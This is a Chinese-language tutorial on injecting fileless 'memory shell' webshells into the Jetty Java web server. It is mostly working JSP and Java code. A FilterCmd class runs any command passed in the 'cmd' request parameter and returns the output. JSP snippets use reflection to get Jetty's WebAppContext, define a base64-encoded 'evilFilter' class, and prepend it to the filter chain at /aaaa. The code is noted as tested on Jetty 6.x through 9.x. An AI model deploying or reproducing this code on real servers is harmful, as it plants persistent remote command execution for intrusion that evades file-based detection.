目录
- Jetty部分源码剖析
- 无文件马
- WebAppContext
- 通过Mbean获取Context
- 通过currentThread获取Context
- Filter
- 静态添加 Filter(基于web.xml)
- 动态添加 Filter(基于addFilter API)
- 适配Jetty v6.x/7.x/8.x/9.x
- 适配JDNI注入内存马
- WebAppContext
getConext.jsp
<%
try{
JmxMBeanServer jmxMBeanServer = (JmxMBeanServer) ManagementFactory.getPlatformMBeanServer();
// 获取mbsInterceptor
Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
field.setAccessible(true);
Object mbsInterceptor = field.get(jmxMBeanServer);
// 获取repository
field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
field.setAccessible(true);
Repository repository = (Repository) field.get(mbsInterceptor);
/**
* ObjectName 表示一个Mbean的对象名称
* repository.query()
* 选择并检索名称与指定对象名称模式匹配并与指定查询表达式匹配的mbean列表(可选)。
* 参数:
* pattern——要检索的MBean的名称——可以是一个特定的对象,也可以是允许选择多个MBean的名称模式。
* query -选择对象时要应用的查询表达式-当存储库服务不支持筛选时,此参数将被忽略。
* 返回:
* 选中的mbean列表。集合中可能返回0个、一个或多个mbean。
*/
Set<NamedObject> namedObjectSet = repository.query(new ObjectName("org.eclipse.jetty.webapp:type=webappcontext,*"), null);
for (NamedObject namedObject : namedObjectSet) {
out.write(String.valueOf(namedObject));
}
}catch (Exception e){
e.printStackTrace();
}
%>
此时需要获取到对应WebAppContext
通过反射获取
field = namedObject.getObject().getClass().getSuperclass().getSuperclass().getDeclaredField("_managed");
field.setAccessible(true);
Object webAppContext = field.get(namedObject.getObject());
代码整合为
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="com.sun.jmx.mbeanserver.JmxMBeanServer" %>
<%@ page import="com.sun.jmx.mbeanserver.Repository" %>
<%@ page import="com.sun.jmx.mbeanserver.NamedObject" %>
<%@ page import="java.util.Set" %>
<%@ page import="javax.management.ObjectName" %>
<%
try{
JmxMBeanServer jmxMBeanServer = (JmxMBeanServer) ManagementFactory.getPlatformMBeanServer();
Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
field.setAccessible(true);
Object mbsInterceptor = field.get(jmxMBeanServer);
field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
field.setAccessible(true);
Repository repository = (Repository) field.get(mbsInterceptor);
Set<NamedObject> namedObjectSet = repository.query(new ObjectName("org.eclipse.jetty.webapp:type=webappcontext,*"), null);
for (NamedObject namedObject : namedObjectSet) {
field = namedObject.getObject().getClass().getSuperclass().getSuperclass().getDeclaredField("_managed");
field.setAccessible(true);
Object webAppContext = field.get(namedObject.getObject());
out.write(webAppContext.getClass().getName());
}
}catch (Exception e){
e.printStackTrace();
}
%>
测试效果:
ClassLoader webAppClassLoader= Thread.currentThread().getContextClassLoader();
Field _context = webAppClassLoader.getClass().getDeclaredField("_context");
_context.setAccessible(true);
Object webAppContext = _context.get(webAppClassLoader);
Field _servletHandler = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler");
_servletHandler.setAccessible(true);
Object servletHandler = _servletHandler.get(webAppContext);
com.example.jetty9.filter.FilterDemo
public class FilterDemo implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
if (servletRequest instanceof HttpServletRequest) {
HttpServletRequest httpRequest = (HttpServletRequest) servletRequest;
System.out.println(httpRequest.getServletPath());
SimpleDateFormat sdf = new SimpleDateFormat();
sdf.applyPattern("yyyy-MM-dd HH:mm:ss");
Date date = new Date();
System.out.println("JettyFilter触发时间:" + sdf.format(date));
filterChain.doFilter(servletRequest,servletResponse);
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
}
web.xml配置如下
<filter>
<filter-name>FilterDemo</filter-name>
<filter-class>com.example.jetty9.filter.FilterDemo</filter-class>
</filter>
<filter-mapping>
<filter-name>FilterDemo</filter-name>
<url-pattern>/filter</url-pattern>
</filter-mapping>
测试效果如图
com.example.jetty9.filter.FilterCmd
public class FilterCmd implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String cmd = servletRequest.getParameter("cmd");
if (cmd != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream())
);
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy () {
}
}
web.xml配置如下
- 当访问/filter路由时即可触发该filter
<filter>
<filter-name>FilterCmd</filter-name>
<filter-class>com.example.jetty9.filter.FilterCmd</filter-class>
</filter>
<filter-mapping>
<filter-name>FilterCmd</filter-name>
<url-pattern>/filter</url-pattern>
</filter-mapping>
测试效果如图
- 通过Mbean的方式获取context后,context 获取其父类 ServletContextHandler的ServletHandler类型的私有变量_servletHandler,它实现了Servlet规范中Filter、Servlet的基本处理逻辑(重点)。
反射获取
Field _servletHandler = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler");
_servletHandler.setAccessible(true);
Object servletHandler = field.get(webAppContext);
- 反射调用defineClass还原出base64_str中的evilFilter类
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
BASE64Decoder base64Decoder = new BASE64Decoder();
byte[] bytes = base64Decoder.decodeBuffer("base64_str");
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class evilFilter = (Class) defineClass.invoke(contextClassLoader, bytes, 0, bytes.length);
- 参数 source
- 标识FilterHolder的来源,此处为JAVAX_API
反射调用创建FilterHolder
- FilterHolder 是 Filter 的包装类,每一个Filter与其拦截路径的映射会被封装成 FilterMapping。
ClassLoader classLoader = servletHandler.getClass().getClassLoader();
Class source = classLoader.loadClass("org.eclipse.jetty.servlet.Source");
Field JAVAX_API= source.getDeclaredField("JAVAX_API");
Method method = servletHandler.getClass().getMethod("newFilterHolder", source);
Object filterHolder = method.invoke(servletHandler, JAVAX_API.get(null));
反射调用setName和setFilter
Method setName = filterHolder.getClass().getMethod("setName", String.class);
setName.invoke(filterHolder, evilFilter.getName());
Method setFilter = filterHolder.getClass().getMethod("setFilter", Filter.class);
setFilter.invoke(filterHolder, evilFilter.newInstance());
Method addFilter = servletHandler.getClass().getMethod("addFilter", filterHolder.getClass());
addFilter.invoke(servletHandler, filterHolder);
- 设置路径映射等信息
Class FilterMapping = classLoader.loadClass("org.eclipse.jetty.servlet.FilterMapping");
Object filterMapping = FilterMapping.newInstance();
Method setFilterHolder = filterMapping.getClass().getDeclaredMethod("setFilterHolder", filterHolder.getClass());
setFilterHolder.setAccessible(true);
setFilterHolder.invoke(filterMapping, filterHolder);
Method setPathSpecs = filterMapping.getClass().getMethod("setPathSpecs", String[].class);
setPathSpecs.invoke(filterMapping, new Object[]{new String[]{"/aaaa"}});
Method setDispatcherTypes = filterMapping.getClass().getMethod("setDispatcherTypes", EnumSet.class);
setDispatcherTypes.invoke(filterMapping, EnumSet.of(DispatcherType.REQUEST));
- 使用prependFilterMapping 把 filter 加到最前面
Method prependFilterMapping = servletHandler.getClass().getMethod("prependFilterMapping", filterMapping.getClass());
prependFilterMapping.invoke(servletHandler, filterMapping);
代码整合如下
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="com.sun.jmx.mbeanserver.JmxMBeanServer" %>
<%@ page import="com.sun.jmx.mbeanserver.Repository" %>
<%@ page import="com.sun.jmx.mbeanserver.NamedObject" %>
<%@ page import="java.util.Set" %>
<%@ page import="javax.management.ObjectName" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="sun.misc.BASE64Decoder" %>
<%@ page import="java.util.EnumSet" %>
<%
try{
JmxMBeanServer jmxMBeanServer = (JmxMBeanServer) ManagementFactory.getPlatformMBeanServer();
Field mbsInterceptorF = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
mbsInterceptorF.setAccessible(true);
Object mbsInterceptor = mbsInterceptorF.get(jmxMBeanServer);
Field repositoryF = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
repositoryF.setAccessible(true);
Repository repository = (Repository) repositoryF.get(mbsInterceptor);
Set<NamedObject> namedObjectSet = repository.query(new ObjectName("org.eclipse.jetty.webapp:type=webappcontext,*"), null);
for (NamedObject namedObject : namedObjectSet) {
Field _managedF = namedObject.getObject().getClass().getSuperclass().getSuperclass().getDeclaredField("_managed");
_managedF.setAccessible(true);
Object webAppContext = _managedF.get(namedObject.getObject());
Field _servletHandler = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler");
_servletHandler.setAccessible(true);
Object servletHandler = _servletHandler.get(webAppContext);
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
BASE64Decoder base64Decoder = new BASE64Decoder();
byte[] bytes = base64Decoder.decodeBuffer("yv66...");
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class evilFilter = (Class) defineClass.invoke(contextClassLoader, bytes, 0, bytes.length);
ClassLoader classLoader = servletHandler.getClass().getClassLoader();
Class source = classLoader.loadClass("org.eclipse.jetty.servlet.Source");
Field JAVAX_API= source.getDeclaredField("JAVAX_API");
Method method = servletHandler.getClass().getMethod("newFilterHolder", source);
Object filterHolder = method.invoke(servletHandler, JAVAX_API.get(null));
filterHolder.getClass().getMethod("setName", String.class).invoke(filterHolder, evilFilter.getName());
filterHolder.getClass().getMethod("setFilter", Filter.class).invoke(filterHolder, evilFilter.newInstance());
servletHandler.getClass().getMethod("addFilter", filterHolder.getClass()).invoke(servletHandler, filterHolder);
Class FilterMapping = classLoader.loadClass("org.eclipse.jetty.servlet.FilterMapping");
Object filterMapping = FilterMapping.newInstance();
Method setFilterHolder = filterMapping.getClass().getDeclaredMethod("setFilterHolder", filterHolder.getClass());
setFilterHolder.setAccessible(true);
setFilterHolder.invoke(filterMapping, filterHolder);
filterMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(filterMapping, new Object[]{new String[]{"/aaaa"}});
filterMapping.getClass().getMethod("setDispatcherTypes", EnumSet.class).invoke(filterMapping, EnumSet.of(DispatcherType.REQUEST));
servletHandler.getClass().getMethod("prependFilterMapping", filterMapping.getClass()).invoke(servletHandler, filterMapping);
out.write("<br>" + evilFilter.getName() + " Inject Successfully!");
}
}catch (Exception e){
e.printStackTrace();
}
%>
测试效果
- 使用Jetty封装好的方法addFilterWithMapping实现动态添加Filter、代码简洁。
<%
try{
ClassLoader webAppClassLoader= Thread.currentThread().getContextClassLoader();
java.lang.reflect.Field _context = webAppClassLoader.getClass().getDeclaredField("_context");
_context.setAccessible(true);
Object webAppContext = _context.get(webAppClassLoader);
java.lang.reflect.Field _servletHandler = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler");
_servletHandler.setAccessible(true);
Object servletHandler = _servletHandler.get(webAppContext);
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
Class evilFilter;
try{
evilFilter = contextClassLoader.loadClass("com.example.jetty.filter.FilterCmd");
}catch(ClassNotFoundException e){
sun.misc.BASE64Decoder base64Decoder = new sun.misc.BASE64Decoder();
byte[] bytes = base64Decoder.decodeBuffer("yv66vg...");
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
evilFilter = (Class) defineClass.invoke(contextClassLoader, bytes, 0, bytes.length);
}
/**
* Tested version:
* 6.x (6.1.26)
* 7.x (7.5.0)
* 8.x (8.2.0)
* 9.x (9.4.43)
*/
try{
servletHandler.getClass().getMethod("addFilterWithMapping", String.class, String.class, java.util.EnumSet.class).invoke(servletHandler,evilFilter.getName(),"/aaaa",java.util.EnumSet.of(DispatcherType.REQUEST));
}catch (Exception e){
servletHandler.getClass().getMethod("addFilterWithMapping", String.class, String.class,int.class).invoke(servletHandler, evilFilter.getName(),"/aaaa", 1);
}
out.write("<br>" + evilFilter.getName() + " Inject Successfully!");
}catch (Exception e){
e.printStackTrace();
}
%>
- 获取线程,遍历所有线程,找到WebAppClassLoader,反射获取context,解决目前网上公开的利用MBean获取context遇到
无法找到org.eclipse.jetty.webapp:type=webappcontext对象
的问题。